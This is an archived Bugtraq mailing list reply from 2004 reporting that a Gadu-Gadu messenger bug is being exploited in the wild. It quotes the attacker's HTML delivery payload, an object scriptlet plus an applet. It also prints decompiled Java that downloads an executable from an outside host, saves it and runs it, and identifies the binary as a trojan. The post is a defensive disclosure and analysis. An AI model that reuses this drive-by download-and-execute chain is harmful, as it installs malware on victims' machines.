Home page logo

bugtraq logo Bugtraq mailing list archives

Re: Gadu-Gadu, another two bugs
From: Przemyslaw Frasunek <venglin () freebsd lublin pl>
Date: Mon, 20 Dec 2004 18:20:37 +0100

Jaroslaw Sajko wrote:
Send such a string to any receipent:

Beware, this bug is being already exploited in the wild. I have just received the following message from WWW to GG gateway (gg# 7021349):


The adv407.php file contains the following HTML code:

[textarea id="cxw" style="display:none;"]
    [object data="${PR}" type="text/x-scriptlet"][/object]

[script language="javascript"]
[applet width=1 height=1 ARCHIVE=loaderadv407.jar code=Counter][/APPLET][/body][/html]

After downloading and decompiling loaderadv407.jar I noticed, that it does:

URL url1 = new URL("http://iframedollars.biz/dl/loadadv407.exe";);
URLConnection urlconnection = url1.openConnection();
FileOutputStream fileoutputstream = new FileOutputStream(s4 + "\\loadnew.exe");
as[0] = s4 + "\\loadnew.exe";
Process process = Runtime.getRuntime().exec(as);

Clamav recognizes this binary as Trojan.Qhost.O.

* Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NICHDL: PMF9-RIPE *
* JID: venglin () jabber atman pl ** PGP ID: 2578FCAD ** HAM-RADIO: SQ8JIV *

  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]